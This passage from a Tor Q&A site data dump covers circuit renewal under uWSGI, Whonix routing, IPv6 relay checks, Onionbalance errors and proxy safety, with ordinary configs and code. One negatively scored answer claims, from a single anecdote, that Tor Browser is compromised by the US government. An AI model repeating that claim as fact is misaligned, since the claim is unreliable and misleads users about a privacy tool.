will kill the worker after the set time. If not, the requests will hang forever.&lt;/p&gt;&#xA;&lt;p&gt;Any clue what the issue could be? Permissions? If so, what files/directories? The sockets?&#xA;I just don't understand how it works perfectly when it runs on the command line the request hangs using UWSGI.&lt;/p&gt;&#xA;&lt;p&gt;This is some of the code, for context:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_tor_session():&#xA;    session = requests.session()&#xA;    session.proxies['https'] = 'socks5://localhost:9050'&#xA;    session.proxies['http'] = 'socks5://localhost:9050'&#xA;    return session&#xA;&#xA;def renew_connection():&#xA;    print(&amp;quot;Renewing connection&amp;quot;)&#xA;    torControl.signal(Signal.NEWNYM)&#xA;    time.sleep(torControl.get_newnym_wait()) &#xA;&#xA;def startTor(config):&#xA;    GEOIPFILE_PATH = &amp;quot;/usr/share/tor/geoip&amp;quot;&#xA;    try:    &#xA;        urllib.request.urlretrieve('https://raw.githubusercontent.com/torproject/tor/main/src/config/geoip', GEOIPFILE_PATH)&#xA;        print (&amp;quot;GeoIP file updated&amp;quot;)&#xA;    except Exception as e:&#xA;        print ('[INFO] Unable to update geoip file. Using local copy.', e)&#xA;    try:&#xA;        # start tor&#xA;        print(&amp;quot;Starting tor&amp;quot;)&#xA;        torProcess = launch_tor_with_config(&#xA;            config=config,  # use our custom config&#xA;            tor_cmd='tor',  # start tor normally&#xA;            completion_percent=100,  # blocks until tor is 100%&#xA;            timeout=90,  # wait 90 sec for tor to start&#xA;            take_ownership=True  # subprocess will close with parent&#xA;        )&#xA;        # connect a controller&#xA;        print(&amp;quot;Connecting controller&amp;quot;)&#xA;        torControl = Controller.from_port(&#xA;            address=&amp;quot;127.0.0.1&amp;quot;, port=int(config['ControlPort']))&#xA;        # auth controller&#xA;        torControl.authenticate(password='somepass')&#xA;        print(&amp;quot;Connected to tor process&amp;quot;)&#xA;        return torProcess, torControl&#xA;&#xA;    except Exception as e:&#xA;        print(e)```&#xA;&#xA;&#xA;config = {&#xA;    'ClientOnly': '1',&#xA;    'ControlPort': '9051',&#xA;    'DataDirectory': '/tmp/tor',&#xA;    'GeoIPFile': '/usr/share/tor/geoip',&#xA;    'EntryNodes': '{UK}',&#xA;    'ExitNodes': '{UK}',&#xA;    'HashedControlPassword':'16:489A6B09FB6D0E9D601D22CFCF438DB9832E7584450E4AF1F0709FF8FB'}&#xA;&#xA;&#xA;torProcess, torControl = startTor(config)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I call a function where I have a loop that prints the IP address and renews it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(5):&#xA;        session = get_tor_session()&#xA;        print(f&amp;quot;trying: {i}&amp;quot;)      &#xA;        print(session.get('http://icanhazip.com/', timeout=5).text)&#xA;        renew_connection()        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the NGINX conf&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;log_format timedlog '$remote_addr - $remote_user [$time_local] '&#xA;                        '&amp;quot;$request&amp;quot; $status $body_bytes_sent $upstream_response_time '&#xA;                        '&amp;quot;$http_referer&amp;quot; &amp;quot;$http_user_agent&amp;quot;';&#xA;&#xA;server {&#xA;    listen 80;&#xA;    server_name somewebsite;&#xA;    return 301 somewebsite&#xA;}&#xA;server {&#xA;    listen 443 default ssl;&#xA;&#xA;    ssl_certificate /etc/letsencrypt/live/myweb/fullchain.pem;&#xA;    ssl_certificate_key /etc/letsencrypt/live/myweb/privkey.pem;&#xA;    server_name somewebsite;&#xA;    access_log /var/log/nginx/myweb-access.log timedlog;&#xA;    error_log /var/log/nginx/myweb-error.log;&#xA;    location / {&#xA;        include uwsgi_params;&#xA;        uwsgi_pass unix:/tmp/myweb.sock;  &#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the UWSGI ini file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[uwsgi]&#xA;plugins = python3&#xA;pythonpath = /home/admin/myweb/venv/bin&#xA;module = wsgi&#xA;socket = /tmp/myweb.sock&#xA;chmod-socket = 775&#xA;chdir = /home/admin/myweb&#xA;master = true&#xA;module = app:app&#xA;uid = www-data&#xA;gid = www-data&#xA;processes = 1&#xA;threads = 1&#xA;harakiri = 60&#xA;python-autoreload = 0&#xA;touch-reload = /tmp/myweb.touchme&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38118" LastActivityDate="2023-03-05T18:34:56.093" Title="Python APP that requests switching to clean circuits hangs when served with UWSIG but works when it runs from the command line" Tags="|linux|circuit|ip-address|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23588" PostTypeId="2" ParentId="4541" CreationDate="2023-03-05T17:04:33.550" Score="0" Body="&lt;p&gt;Startpage are lying about their algorithm for some reason. IF it is about the exit node (IP) used, then why does this logic happen:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Search from within TOR Browser toolbar. Startpage search plugin used, Startpage blocks and shows a captcha.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WITHOUT filling the captcha, if the user simply navigates to the startpage.com default landing page, and performs EXACTLY THE SAME SEARCH FROM EXACTLY THE SAME EXIT NODE IP, the block does NOT happen and the site works as normal.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Logically, the form of the search engine plugin's request is being discriminated against, it would appear. So why doesn't Startpage admit that, it is NOT just the IP address that is considered when blocking? Instead of semi-gaslighting users so they get confused?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shadow-bans and low-level interference with TOR Browser users without admitting to outright blocking them, is a thing. Whether this is passive-aggressive from Startpage for any reason is obviously unclear (monetary marketing click revenue is significantly less likely from TOR users, I would wager).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a video somewhere of this, taken in Tor Browser, showing the evidence for the above, years ago. Nothing changed in a few years, so it is not a minor glitch or bug, but likely intentional. I did report the issue multiple times.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38119" LastEditorUserId="38119" LastEditDate="2023-03-05T17:06:08.393" LastActivityDate="2023-03-05T17:06:08.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23589" PostTypeId="2" ParentId="23587" CreationDate="2023-03-05T18:34:56.093" Score="1" Body="&lt;p&gt;A very frequent problem: you need a full shell context to execute your app. To do so you need to use a wrapper like &lt;code&gt;screen&lt;/code&gt; to launch it in a detached mode with &lt;code&gt;-md&lt;/code&gt; command line flags. Use &lt;code&gt;apt install screen&lt;/code&gt; to install it if you don't have one. And - if you are about to launch it form a different user - make sure that it has shell set to &lt;code&gt;/bin/bash&lt;/code&gt; and for a better efficiency do a &lt;code&gt;su your-user-name&lt;/code&gt; first to make sure that all the home directory, files e.t.c. are actually created&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-03-05T18:34:56.093" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23590" PostTypeId="1" CreationDate="2023-03-06T21:05:47.530" Score="1" ViewCount="32" Body="&lt;p&gt;I have an enterprise use case, where we need to ping a lot of different onion nodes at once, as fast and as reliably as possible.&lt;/p&gt;&#xA;&lt;p&gt;I have some ideas related to forcing a specific circuit made only of reliable nodes, but I wonder if that even makes sense, as my knowledge of Tor network is severely limited. What are some approaches I could take to create an socks entrypoint for tor traffic that is as reliable as possible and as immune to network issues such as DDoS as possible?&lt;/p&gt;&#xA;" OwnerUserId="38124" LastActivityDate="2023-03-06T21:05:47.530" Title="Is there a way to make Tor more performant and reliable, if necessary at the cost of sacrificing some privacy?" Tags="|network-configuration|socks|speed|performance|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23592" PostTypeId="2" ParentId="13822" CreationDate="2023-03-10T17:50:10.143" Score="0" Body="&lt;p&gt;Its better you download &lt;a href=&quot;https://tails.boum.org/etcher/balenaEtcher-portable.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;balenaEtcher&lt;/a&gt; from the official site itself, then use it to flash the image onto the USB drive then use it to boot&lt;/p&gt;&#xA;" OwnerUserId="38136" LastActivityDate="2023-03-10T17:50:10.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23597" PostTypeId="2" ParentId="4695" CreationDate="2023-03-12T15:46:31.073" Score="-1" Body="&lt;p&gt;Yes, Tor Browser is compromised. Likely due to the US MIC who either have setup enough nodes to undermine the basic security or through other means.&lt;/p&gt;&#xA;&lt;p&gt;How do I know this? I installed Tor Browser on a new computer that had just installed the OS and connected to the internet. A bit earlier(while I was waiting for the OS to install) I was surfing on my tablet for some products(the tablet is in no way connected to the computer or any accounts the computer uses). Well, after running TOR I saw amazon ads for very similar items(not common items either) I surfed for(which was very brief, about 3 minutes as I was really just checking that Tor was working). It was too targeted and non-random to be coincidence. I checked the security of Tor and it said it was secure.&lt;/p&gt;&#xA;&lt;p&gt;I don't know how much is captured or how it is done but I would bet 99% that it is compromised. If you think about it, the US MIC would definitely use it(as would any evil government) as the very nature of it being &amp;quot;private&amp;quot; means there is a lot to exploit(and that is clearly what the US government is about(as most governments are)). Since Tor was created by &amp;quot;individuals&amp;quot; in USNRL it clearly has ties(precisely why it was originally created may have been for good... but like all things, power corrupts).&lt;/p&gt;&#xA;&lt;p&gt;Tor is very likely compromised and it is likely only best used as one of several methods of protection. It adds a layer that will protect one from most of the methods of tracking and such. I do not know of the Tor Browser is spying on one though as that is a harder issue to fix(one can use other browsers but I'm not sure if that would remove that potential issue).&lt;/p&gt;&#xA;&lt;p&gt;I think as long as you are not doing anything significantly against the US government they will ignore what you do(they probably still collect data though). I imagine it is far too much data for their drones to sift through so most is analyzed by AI for the biggest &amp;quot;criminals&amp;quot;(threats to US power centers).&lt;/p&gt;&#xA;" OwnerUserId="38144" LastActivityDate="2023-03-12T15:46:31.073" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23599" PostTypeId="1" CreationDate="2023-03-14T01:54:12.660" Score="0" ViewCount="92" Body="&lt;p&gt;I have multiple vms running for different programs. On a few of them I have some connections that return a 403 error when connecting through Tor. How can I connect to those sites, while routing the rest of my traffic through Tor?&lt;/p&gt;&#xA;" OwnerUserId="38149" LastActivityDate="2023-03-18T14:33:27.737" Title="How to route a site out of Whonix through a normal connection?" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23601" PostTypeId="2" ParentId="23599" CreationDate="2023-03-14T16:30:31.763" Score="0" Body="&lt;p&gt;Can't comment yet ...&lt;/p&gt;&#xA;&lt;p&gt;Do you want to route traffic of some VMs through Tor but other VMs not through Tor?&#xA;Or do you want to route certain traffic (like a specific program) of a VM through Tor but not the rest of the VMs traffic?&lt;/p&gt;&#xA;&lt;p&gt;In the first case you just need to change the networking of the VM, which depends somewhat on the system (KVM, Qubes, ...). Just don't attach the Workstation to the Whonix-Gateway network. Instead connect it directly to the host network.&lt;/p&gt;&#xA;&lt;p&gt;In the second case it depends on the traffic which you want to torify.&#xA;If it is some special port which other programs do not use then you can maybe adapt firewall rules so that this traffic does not go over Tor.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, if your program supports it, configure the Whonix Gateway to act as an explicit proxy (instead of transparent). Adapt firewall rules and&#xA;configure your program to use the proxy. All other traffic won't go over Tor!&#xA;You'd also need to do this for all other VMs. Risk of leaks is higher.&lt;/p&gt;&#xA;&lt;p&gt;Another option, depending on why Tor traffic is blocked and your configuration, is to add another proxy/VPN after Tor.&lt;/p&gt;&#xA;&lt;p&gt;Or use a mix. Standard Whonix gateway VM for Tor only VMs and another gateway for certain VMs which need partially non torified traffic.&lt;/p&gt;&#xA;" OwnerUserId="38145" LastActivityDate="2023-03-14T16:30:31.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23603" PostTypeId="1" AcceptedAnswerId="23664" CreationDate="2023-03-17T22:35:09.900" Score="0" ViewCount="374" Body="&lt;p&gt;Besides that Tor should not be used for p2p traffic because of network congestion and possible IP leaks in BitTorrent applications, how could it work in theory?&lt;/p&gt;&#xA;&lt;p&gt;Assuming that the BitTorrent application is forced to use the socks5 tor proxy and in the &lt;code&gt;torrc&lt;/code&gt; only one exit node is configured, then the tracker of a torrent would only receive the IP of the exit node.&lt;/p&gt;&#xA;&lt;p&gt;What happens, if another peer tries to connect to the IP of the exit node?&#xA;The BitTorrent client would have to check for connections permanently. Is it even possible to establish a connection?&lt;/p&gt;&#xA;&lt;p&gt;Surprisingly, looking at the website &lt;a href=&quot;https://iknowwhatyoudownload.com/en/peer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://iknowwhatyoudownload.com/en/peer/&lt;/a&gt; it seems that nearly every exit node is involved in p2p traffic.&lt;/p&gt;&#xA;" OwnerUserId="38166" LastActivityDate="2023-04-04T09:05:55.827" Title="How could p2p connections work in Tor?" Tags="|proxy|torsocks|bittorrent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23610" PostTypeId="1" CreationDate="2023-03-19T18:10:02.990" Score="0" ViewCount="17" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HFxri.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFxri.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want a solution, please. Yesterday I downloaded the template from Team Forest, and I want to install it, but whoever has the situation does not respond, please contact me.&lt;/p&gt;&#xA;" OwnerUserId="38176" LastActivityDate="2023-03-28T21:25:03.240" Title="When I go to install the demo content in the tools and click on Install the template that I uploaded,in wordpris it is not wanted, and I see this sign" Tags="|onion-services|help|tor-install|development|network-health|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23611" PostTypeId="1" AcceptedAnswerId="23612" CreationDate="2023-03-20T10:37:25.460" Score="0" ViewCount="470" Body="&lt;p&gt;I plan deploy a setup similar to the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5OOZ1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5OOZ1.png&quot; alt=&quot;network map&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My Tails PC and my custom DNS are on different subnets, all of my Internet traffic is routed through a WireGuard tunnel ending on a cloud VM (this could be Mullvad as well). The tunnel starts from a router in between my subnets and my ISP box.&lt;/p&gt;&#xA;&lt;p&gt;My question is this : can my ISP know that I'm using Tor if they are sniffing my traffic or do they just see WireGuard things? And can my cloud provider see my Tor traffic (I think they can)?&lt;/p&gt;&#xA;" OwnerUserId="38180" LastActivityDate="2023-03-22T20:45:31.993" Title="WireGuard tunnel, can my ISP know I'm using tor?" Tags="|vpn|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23612" PostTypeId="2" ParentId="23611" CreationDate="2023-03-20T18:45:56.557" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Can my cloud provider see my Tor traffic (I think they can)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They can see that you're using Tor, but not what you're doing on Tor.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;can my ISP know that I'm using Tor if they are sniffing my traffic or do they just see WireGuard things?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There isn't a yes/no answer for this. Typically no they wouldn't know that you're using Tor since they only see encrypted Wireguard traffic between your router and the cloud VPS. But your ISP could share information with the cloud VPS provider to link where the traffic is going after it leaves your VPS (this is common with VPN providers, but I'm not sure about cloud VPS providers). Or if they were specifically targeting you, they could maybe guess if your Wireguard traffic contained Tor traffic based on size and timing information.&lt;/p&gt;&#xA;&lt;p&gt;So they probably wouldn't know, but you couldn't rule it out entirely.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-03-20T18:45:56.557" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23633" PostTypeId="1" AcceptedAnswerId="23634" CreationDate="2023-03-24T14:25:45.707" Score="0" ViewCount="70" Body="&lt;p&gt;I used the following command to ping the IPv6 addresses of Tor directory authorities from my server (as described here under 7. &lt;a href=&quot;https://community.torproject.org/relay/setup/post-install/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/setup/post-install/&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ping6 -c2 2001:858:2:2:aabb:0:563b:1526 &amp;amp;&amp;amp; ping6 -c2 2620:13:4000:6000::1000:118 &amp;amp;&amp;amp; ping601:678:558:1000::244 &amp;amp;&amp;amp; ping6 -c2 2607:8500:154::3 &amp;amp;&amp;amp; ping6 -c2 2001:638:a000:4140::ffff:189 &amp;amp;&amp;amp; echo OK.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PING 2001:858:2:2:aabb:0:563b:1526(2001:858:2:2:aabb:0:563b:1526) 56 data bytes&#xA;64 bytes from 2001:858:2:2:aabb:0:563b:1526: icmp_seq=1 ttl=58 time=23.8 ms&#xA;64 bytes from 2001:858:2:2:aabb:0:563b:1526: icmp_seq=2 ttl=58 time=23.3 ms&#xA;&#xA;--- 2001:858:2:2:aabb:0:563b:1526 ping statistics ---&#xA;2 packets transmitted, 2 received, 0% packet loss, time 1001ms&#xA;rtt min/avg/max/mdev = 23.345/23.553/23.762/0.208 ms&#xA;PING 2620:13:4000:6000::1000:118(2620:13:4000:6000::1000:118) 56 data bytes&#xA;64 bytes from 2620:13:4000:6000::1000:118: icmp_seq=1 ttl=57 time=159 ms&#xA;64 bytes from 2620:13:4000:6000::1000:118: icmp_seq=2 ttl=57 time=159 ms&#xA;&#xA;--- 2620:13:4000:6000::1000:118 ping statistics ---&#xA;2 packets transmitted, 2 received, 0% packet loss, time 1001ms&#xA;rtt min/avg/max/mdev = 159.242/159.257/159.273/0.015 ms&#xA;PING 2001:67c:289c::9(2001:67c:289c::9) 56 data bytes&#xA;64 bytes from 2001:67c:289c::9: icmp_seq=1 ttl=55 time=28.4 ms&#xA;64 bytes from 2001:67c:289c::9: icmp_seq=2 ttl=55 time=28.3 ms&#xA;&#xA;--- 2001:67c:289c::9 ping statistics ---&#xA;2 packets transmitted, 2 received, 0% packet loss, time 1002ms&#xA;rtt min/avg/max/mdev = 28.316/28.341/28.366/0.025 ms&#xA;PING 2001:678:558:1000::244(2001:678:558:1000::244) 56 data bytes&#xA;64 bytes from 2001:678:558:1000::244: icmp_seq=1 ttl=60 time=16.7 ms&#xA;64 bytes from 2001:678:558:1000::244: icmp_seq=2 ttl=60 time=16.4 ms&#xA;&#xA;--- 2001:678:558:1000::244 ping statistics ---&#xA;2 packets transmitted, 2 received, 0% packet loss, time 1002ms&#xA;rtt min/avg/max/mdev = 16.364/16.514/16.664/0.150 ms&#xA;PING 2607:8500:154::3(2607:8500:154::3) 56 data bytes&#xA;From 2001:590::451f:6e46 icmp_seq=1 Destination unreachable: Address unreachable&#xA;&#xA;--- 2607:8500:154::3 ping statistics ---&#xA;2 packets transmitted, 0 received, +1 errors, 100% packet loss, time 1028ms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At the end of the output you should see &amp;quot;OK&amp;quot; but there seems to be a problem. Can someone explain to me how to troubleshoot this so I can enable IPv6 on my guard relay?&lt;/p&gt;&#xA;" OwnerUserId="29974" LastEditorUserId="29974" LastEditDate="2023-03-24T14:34:05.770" LastActivityDate="2023-04-01T12:57:50.687" Title="Enable IPv6 on middle/guard relay but IPv6 does not work properly" Tags="|network-configuration|ipv6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23634" PostTypeId="2" ParentId="23633" CreationDate="2023-03-24T17:33:07.957" Score="0" Body="&lt;p&gt;(It looks like you have an error when copy-pasting your command.)&lt;/p&gt;&#xA;&lt;p&gt;You ran the following ping commands:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ping6 -c2 2001:858:2:2:aabb:0:563b:1526&#xA;ping6 -c2 2620:13:4000:6000::1000:118&#xA;ping6 -c2 2001:67c:289c::9&#xA;ping6 -c2 2001:678:558:1000::244&#xA;ping6 -c2 2607:8500:154::3&#xA;ping6 -c2 2001:638:a000:4140::ffff:189&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It failed when trying to ping 2607:8500:154::3. This is no longer an IPv6 address for any &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:Authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;authority&lt;/a&gt;. You should remove this address from the list of pings, and raise an issue on &lt;a href=&quot;https://gitlab.torproject.org/tpo/web/community/-/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's Gitlab&lt;/a&gt; to update the documentation.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-03-24T17:33:07.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23635" PostTypeId="1" CreationDate="2023-03-25T09:44:53.597" Score="1" ViewCount="85" Body="&lt;p&gt;I have a hidden service with OnionBalancer. Service has been running for a long time but lately the OnionBalancer just stopped. From the logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[INFO]: Initialized hash ring of size 3906 (blinded key: b'Yi..CsE=')&#xA;[INFO]: Getting HS index with TP#19439 for first descriptor (1 replica)&#xA;[INFO]:          Tried with HS index 6bfc..78e9 got position 1649&#xA;[INFO]: Getting HS index with TP#19439 for first descriptor (2 replica)&#xA;[INFO]:          Tried with HS index 9c3c..e20e got position 2379&#xA;[INFO]:          HSDir set remained the same&#xA;[INFO]: No reason to publish first descriptor for abc..xyz.onion&#xA;[INFO]: We got 3 intros from 1 instances. We want 2 intros ourselves (got: 2)&#xA;[INFO]: Service abc..xyz.onion created second descriptor (2 intro points) (blinding param: 2121..e7ba) (size: 9783 bytes). About to publish:&#xA;[INFO]: Using srv 6aea..dca0 and TP#19440 (second descriptor)&#xA;[INFO]: Initialized hash ring of size 3906 (blinded key: b'4VF..qZI=')&#xA;[INFO]: Getting HS index with TP#19440 for second descriptor (1 replica)&#xA;[INFO]:          Tried with HS index fd109..8278 got position 3871&#xA;[INFO]: Getting HS index with TP#19440 for second descriptor (2 replica)&#xA;[INFO]:          Tried with HS index ffff..d040 got position 3906&#xA;[CRITICAL]: Got the wrong number of responsible HSDirs: 5. Aborting&#xA;[WARNING]: Can't publish desc with no hash ring. Delaying...&#xA;[INFO]: [*] fetch_instance_descriptors() called [*]&#xA;[INFO]: Initiating fetch of descriptors for all service instances.&#xA;[INFO]: Found instance rq2sx..eoiid for this new descriptor!&#xA;[INFO]: We got a new descriptor for instance rq2sx..eoiid but the intro set did not change.&#xA;[INFO]: [*] fetch_instance_descriptors() called [*]&#xA;[INFO]: Initiating fetch of descriptors for all service instances.&#xA;[INFO]: Found instance rq2sx..eoiid for this new descriptor!&#xA;[INFO]: We got a new descriptor for instance rq2sx..eoiid but the intro set did not change.&#xA;[INFO]: Signal 15 received, exiting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Server has the latest Tor installed but I haven't done any other changes. What could cause this?&lt;/p&gt;&#xA;" OwnerUserId="38213" LastActivityDate="2023-03-28T21:23:24.437" Title="Onionbalance: Got the wrong number of responsible HSDirs: 5. Aborting" Tags="|onion-services|load-balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23636" PostTypeId="1" CreationDate="2023-03-26T23:07:43.717" Score="1" ViewCount="305" Body="&lt;p&gt;I have an Onion Website, and i want to try and exploit it to find the Real IP-Address behind this Service.&lt;/p&gt;&#xA;&lt;p&gt;The problem:&lt;/p&gt;&#xA;&lt;p&gt;'Cannot intercept Traffic from .onion' i also used this Settings in BurpSuite:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wYNTA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYNTA.png&quot; alt=&quot;socks img&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I even try to set the Settings in Tor Browser as 'http proxy' ip : 127.0.0.1 , and port 8080&#xA;but i cannot see any Request Intercepted.&lt;/p&gt;&#xA;&lt;p&gt;Can someone help me with this, i really need to test and attack my own Onion Page.&lt;/p&gt;&#xA;" OwnerUserId="38219" LastActivityDate="2023-04-01T12:55:16.653" Title="burpsuite onion http request intercept" Tags="|onion-services|onion-routing|proxy|torsocks|onionaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23637" PostTypeId="1" CreationDate="2023-03-27T00:56:29.727" Score="0" ViewCount="372" Body="&lt;p&gt;How dangerous is it to use Tor as SOCKS5 proxy for *.onion domains only (via PAC file) in a &amp;quot;normal&amp;quot; browser?&lt;/p&gt;&#xA;&lt;p&gt;I am aware that there is risk that .onion sites&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can still fingerprint me and/or determine my public IP address through WebRTC&lt;/li&gt;&#xA;&lt;li&gt;can make my browser perform requests to non-.onion sites via JS/&amp;lt;link&amp;gt;s/etc (and with PAC configuration those will route through clearnet).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But these attack vectors don't really bother me; I use TOR just for ZLib and TPB and I've accessed them via clearnet before they were censored.&lt;/p&gt;&#xA;&lt;p&gt;Are there any other dangers besides that?&lt;/p&gt;&#xA;" OwnerUserId="38220" LastActivityDate="2023-03-28T21:20:33.960" Title="How dangerous is it to use Tor as SOCKS5 proxy for *.onion domains only" Tags="|security|proxy|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23659" PostTypeId="6" CreationDate="2023-03-28T20:48:14.740" Score="0" Body="&lt;p&gt;I'm here for a long time and I love to help people to solve their real-life tasks, not just a test or research ones. I do have some time during the week to review and to answer questions so we both learn to build a better and stronger privacy network experiences. I'm also taking part in mesh networks and decentralization movement worldwide in a Pirate Party International and other communities. IMHO there's nothing impossible - it's just something we don't know how to achieve it yet: that motto helps me as a teacher and as a developer, so that's why I've joined this community. Let's make it working the exact way you want it to fit your task? ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2023-03-28T20:48:14.740" LastActivityDate="2023-03-28T20:48:14.740" CommentCount="0" CommunityOwnedDate="2023-03-28T20:48:14.740" ContentLicense="CC BY-SA 4.0" />
  <row Id="23661" PostTypeId="2" ParentId="23637" CreationDate="2023-03-28T21:20:33.960" Score="0" Body="&lt;p&gt;It's a proper way to use a PAC in your &lt;strong&gt;local and trusted&lt;/strong&gt; environment, but it's not a panacea. If you have any doubt in the environment and it's members - just use a localhost-based setup. Yes , it does add some overhead, but it saves you from a way greater dangers over the network. The only exception for this type of cases: if you have a semi-trusted neighborhood &lt;strong&gt;and&lt;/strong&gt; you do control the exiting proxy &lt;strong&gt;and&lt;/strong&gt; you're using it in not SOCKS but a HTTPS mode &lt;strong&gt;with&lt;/strong&gt; your custom CA enforced. For a CA in this case I do recommend &lt;code&gt;easyRSA&lt;/code&gt; scripts. Yes, it will not stop censors from disrupting your connection - but it will keep you safe against the intrusions. This case is usual like in a campus network&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-03-28T21:20:33.960" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23662" PostTypeId="2" ParentId="23635" CreationDate="2023-03-28T21:23:24.437" Score="0" Body="&lt;p&gt;The answer is simple:&lt;/p&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Back up your tor caches&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear your Tor's caches and try to reconnect&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you'll still have this trouble - it looks like you're experiencing your SSL censorship/IP-blocking incident. In this case restore your Tor caches and make some collateral ways for your connections for directories&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Feel free to drop me a line if it's not working - we'll fix it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-03-28T21:23:24.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23663" PostTypeId="2" ParentId="23610" CreationDate="2023-03-28T21:25:03.240" Score="0" Body="&lt;p&gt;The reason here is described in your error logs. It's - most likely - a DRM issue, when it tries to contact any kind of a DRM server to validate your license. But anyway - the &lt;strong&gt;Full&lt;/strong&gt; stack trace will show you what's happening&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-03-28T21:25:03.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
